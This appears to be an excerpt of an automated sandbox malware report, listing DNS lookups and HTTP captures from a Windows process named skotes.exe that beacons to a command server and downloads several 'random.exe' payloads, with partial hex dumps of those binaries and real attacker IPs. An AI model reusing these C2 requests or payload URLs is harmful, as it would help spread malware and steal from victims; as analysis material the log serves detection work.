Dec 20, 2024 11:12:58.714577913 CET	1.1.1.1	192.168.2.4	0x750e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:58.855072975 CET	1.1.1.1	192.168.2.4	0x1cad	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:59.541629076 CET	1.1.1.1	192.168.2.4	0x9c16	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:59.583878994 CET	1.1.1.1	192.168.2.4	0x697a	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 11:12:59.583878994 CET	1.1.1.1	192.168.2.4	0x697a	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:03.199429035 CET	1.1.1.1	192.168.2.4	0x20b8	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:03.200593948 CET	1.1.1.1	192.168.2.4	0x94f4	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:05.021217108 CET	1.1.1.1	192.168.2.4	0xcccb	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:05.021217108 CET	1.1.1.1	192.168.2.4	0xcccb	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.306143999 CET	1.1.1.1	192.168.2.4	0xb7fd	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 11:13:08.306143999 CET	1.1.1.1	192.168.2.4	0xb7fd	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.916213989 CET	1.1.1.1	192.168.2.4	0x49b8	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 11:13:08.916213989 CET	1.1.1.1	192.168.2.4	0x49b8	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 11:13:08.916213989 CET	1.1.1.1	192.168.2.4	0x49b8	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.968872070 CET	1.1.1.1	192.168.2.4	0x4953	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 11:13:08.968872070 CET	1.1.1.1	192.168.2.4	0x4953	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.971095085 CET	1.1.1.1	192.168.2.4	0x3f72	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 11:13:08.971095085 CET	1.1.1.1	192.168.2.4	0x3f72	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.972143888 CET	1.1.1.1	192.168.2.4	0xe888	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.972265005 CET	1.1.1.1	192.168.2.4	0x9655	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:09.043122053 CET	1.1.1.1	192.168.2.4	0xb8e8	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 11:13:09.095733881 CET	1.1.1.1	192.168.2.4	0xa601	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:09.122694969 CET	1.1.1.1	192.168.2.4	0x411e	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:09.126195908 CET	1.1.1.1	192.168.2.4	0x69e	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:19.583394051 CET	1.1.1.1	192.168.2.4	0x9cc2	No error (0)	cheapptaxysu.click		172.67.177.88	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:19.583394051 CET	1.1.1.1	192.168.2.4	0x9cc2	No error (0)	cheapptaxysu.click		104.21.67.146	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49753	185.215.113.43	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:04.922202110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2024 11:12:06.270783901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49764	185.215.113.43	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:07.906776905 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 20, 2024 11:12:09.285809040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 65 66 0d 0a 20 3c 63 3e 31 30 31 38 34 32 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 33 32 63 38 36 34 34 34 64 62 33 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 38 34 32 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 38 34 32 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 38 34 33 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 [TRUNCATED] Data Ascii: 6ef <c>1018424001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1018428001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1018429001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1018430001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1018431001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1018432001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1018433001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#1018434001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a2ac3121fea06b71d0b425ebbebf01d85e3d1482b#1018435001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1018436001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc76914a49ba1cf64d4a485a9592e100b7#1018437001+++b5937c1a99d5f9df0b5daf [TRUNCATED]
Dec 20, 2024 11:12:09.285854101 CET	124	IN	Data Raw: 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 38 34 33 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 Data Ascii: b5e45425197d1aa1daaa8#1018438001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709e5b03ac52ea484b411b9dc4e1#101843
Dec 20, 2024 11:12:09.518203974 CET	606	IN	Data Raw: 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 Data Ascii: 9001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1018440001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1018441001+++b5937c1a99d5f9df0b5dafc85062384760

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49768	31.41.244.11	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:09.642141104 CET	61	OUT	GET /files/x3team/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 11:12:10.964943886 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:10 GMT Content-Type: application/octet-stream Content-Length: 3286016 Last-Modified: Wed, 18 Dec 2024 13:43:08 GMT Connection: keep-alive ETag: "6762d16c-322400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVP/Z/ 0@ 2@/K0@W`23/ H.text/ / `.rsrc@W0X/@@.reloc`2"2@B/H@C@z6+(B99(:+(^A(!(*(0(8yEcO/8^s :&8s8s 9& 8s 8s800000**00**
Dec 20, 2024 11:12:10.965034962 CET	224	IN	Data Raw: 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 Data Ascii: 0".**(~(s;(=t80*0(00
Dec 20, 2024 11:12:10.965065956 CET	1236	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: 0".**********(00G0**
Dec 20, 2024 11:12:10.965082884 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a Data Ascii: *******************************
Dec 20, 2024 11:12:10.965099096 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 72 00 00 01 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 Data Ascii: *0r0****************(******
Dec 20, 2024 11:12:10.965116024 CET	672	IN	Data Raw: 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 Data Ascii: ******(*0~(* "($sS8******00*0
Dec 20, 2024 11:12:10.965132952 CET	1236	IN	Data Raw: 2a 41 1c 00 00 02 00 00 00 34 00 00 00 83 01 00 00 b7 01 00 00 0d 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 02 00 30 00 14 44 00 40 00 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a Data Ascii: A400D@*""""r*"*""r
Dec 20, 2024 11:12:10.965147018 CET	1236	IN	Data Raw: 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 Data Ascii: 0*(00*(00"-*0ALB*
Dec 20, 2024 11:12:10.965162992 CET	1236	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a Data Ascii: 0*(**"(*0004O70*^}
Dec 20, 2024 11:12:10.965182066 CET	1236	IN	Data Raw: 00 3b 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 77 01 00 00 b2 02 00 00 29 04 00 00 13 00 00 00 00 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 Data Ascii: ;0Aw)00*0X( 8Eq8 :&8*~: 9& 8~ 8
Dec 20, 2024 11:12:11.085205078 CET	1236	IN	Data Raw: 3a ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 7e f9 00 00 04 80 f6 00 00 04 20 01 00 00 00 17 3a 8b ff ff ff 26 38 81 ff ff ff 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a Data Ascii: :& 8~ :&80******00*******00*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49792	185.215.113.43	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:18.597930908 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 34 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018424001&unit=246122658369
Dec 20, 2024 11:12:19.942312002 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49793	185.215.113.16	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:20.122977972 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 20, 2024 11:12:21.423180103 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:20 GMT Content-Type: application/octet-stream Content-Length: 1900544 Last-Modified: Fri, 20 Dec 2024 09:13:20 GMT Connection: keep-alive ETag: "67653530-1d0000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 00 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4b 00 00 04 00 00 b0 0c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gK@0K@T0h 1 H@.rsrc X@.idata 0Z@ 0+@\@idubrvtjp0z^@utqwspkxJ@.taggant0K"@
Dec 20, 2024 11:12:21.423228025 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:21.423285961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:21.423360109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:21.423398018 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:21.423435926 CET	1236	IN	Data Raw: 21 8a 20 f4 10 a2 1f ff de f6 f2 e2 c0 d1 81 b3 b7 72 54 05 24 e2 e9 fe ed 2b 9e c2 8a 50 98 30 62 1d 6a 9b e8 15 77 a9 7b 11 01 8b 24 06 4c a1 23 34 cd b9 5f b8 39 7b a4 20 75 d6 e4 99 d8 e6 3e 2c ab 2b 5f 68 13 4c df df 47 a7 15 6a 93 b5 3c 80 Data Ascii: ! rT$+P0bjw{$L#4_9{ u>,+_hLGj<3"pOi+zf?_UdA&_)O00 /kYvErN/\|5.b&jE+KpEs%aW`PPXJzulDev3_;8YO'g8#c
Dec 20, 2024 11:12:21.423489094 CET	1236	IN	Data Raw: 58 3f 0b 32 ea 4e da 84 67 a9 c5 99 4b 9c a3 a9 69 13 69 e4 7f 1e e0 cf 99 2a 1d 94 a2 4b b1 8e 64 a9 74 79 fa b1 93 a9 6f 65 90 ef c5 fb 7a 58 9a 64 77 80 6d 18 6e 90 ca 75 59 c6 b7 36 61 cd 63 a5 e5 a5 45 26 6b 5b da 32 9f d6 63 40 5c 9d 84 26 Data Ascii: X?2NgKii*KdtyoezXdwmnuY6acE&k[2c@\&mG@#X2=]@YGg{^u)jFgYJgNTyaWMjV5cNS}]eh{q+PjWG>=~-_iKQ"N]D!ko(AyJyhgU
Dec 20, 2024 11:12:21.423526049 CET	1236	IN	Data Raw: eb b6 24 b8 aa 5c a7 e1 83 e5 81 79 85 76 f2 ab f3 f2 9c 1a 84 71 eb 4c 4c 16 7a 7c 63 7d fa 76 04 cb 6b 8c 0f 7e 7a 91 13 32 64 4f 62 6c 14 c7 6a 26 54 ad 06 3e ab 48 1a f0 6d 8e 60 64 a1 93 d7 a8 58 9d f0 94 43 68 98 15 aa 1a 62 9e 18 62 b4 19 Data Ascii: $\yvqLLz\|c}vk~z2dOblj&T>Hm`dXChbb_YR\|yKj[y%$ $S7\|}qS`]q5]&(B6<{M(v_#zkmR5e\'FZLGnv4{h%dtg'"ItU\|u
Dec 20, 2024 11:12:21.423561096 CET	1236	IN	Data Raw: a7 4e e9 c6 67 5c 98 a3 b0 3e 6e 2f 6a 51 5e 94 84 37 d4 f0 87 a4 60 ee 33 f1 6d c6 0b 20 68 15 f2 07 c1 10 66 ed 8e 52 9f 45 1c 1d f1 44 71 94 a5 6c 8f 59 32 0c 6f 1c c1 3a 6d bc c3 8c 53 90 15 29 d6 72 53 9d bd d4 df 2c f9 6a 56 ab 69 bc 9d 9f Data Ascii: Ng\>n/jQ^7`3m hfREDqlY2o:mS)rS,jVi7"fkGsJY&VnZ$%\|\|ECOFxu9p^d\|w:~}-?}:D.yl"P\|<wW?oougYSsG
Dec 20, 2024 11:12:21.423598051 CET	1236	IN	Data Raw: 48 62 0f a0 ef 07 30 b6 f1 70 b0 b1 b8 a2 a9 ba fa 15 ae f0 f4 10 98 49 55 7c c2 f6 57 25 2e ae 7c 51 75 94 0a c2 92 35 d9 90 7d 96 0b 25 bf 1a 72 31 6b b9 f3 c9 91 a4 62 a5 c4 32 89 da d9 59 dd 2e 56 0d e0 a5 74 bc 13 50 89 fc 13 91 16 9b 3b 25 Data Ascii: Hb0pIU\|W%.\|Qu5}%r1kb2Y.VtP;%YZeh)X^j.8y_ &CPucQ!Ms;vkvz}mPmk\|'aZy3[$lr>3CIdx^\_![gG:*Y-
Dec 20, 2024 11:12:21.543303967 CET	1236	IN	Data Raw: 7d 1b 57 da 18 16 ae f3 77 0b 7c d6 3c 3e 2d 04 c1 43 b8 51 8d 27 3d 8b 44 3d c9 58 2c a4 9a 99 7c c8 8e 7c 1f bc 85 dd 03 ca a8 2e 36 09 24 a6 9a 01 1a 65 e4 a9 e5 e9 93 d0 e8 cf 95 3d 77 ef f0 34 85 dc cf a7 e2 ff a5 06 43 eb 5f 2e de 9f 35 22 Data Ascii: }Ww\|<>-CQ'=D=X,\|\|.6$e=w4C_.5"fM# Y~<5ad5F2W?sf/qz_big^lZAZO@}rc6V_.lFvm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49813	185.215.113.43	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:27.094183922 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 34 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018428001&unit=246122658369
Dec 20, 2024 11:12:28.429666996 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49817	185.215.113.16	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:28.552212000 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
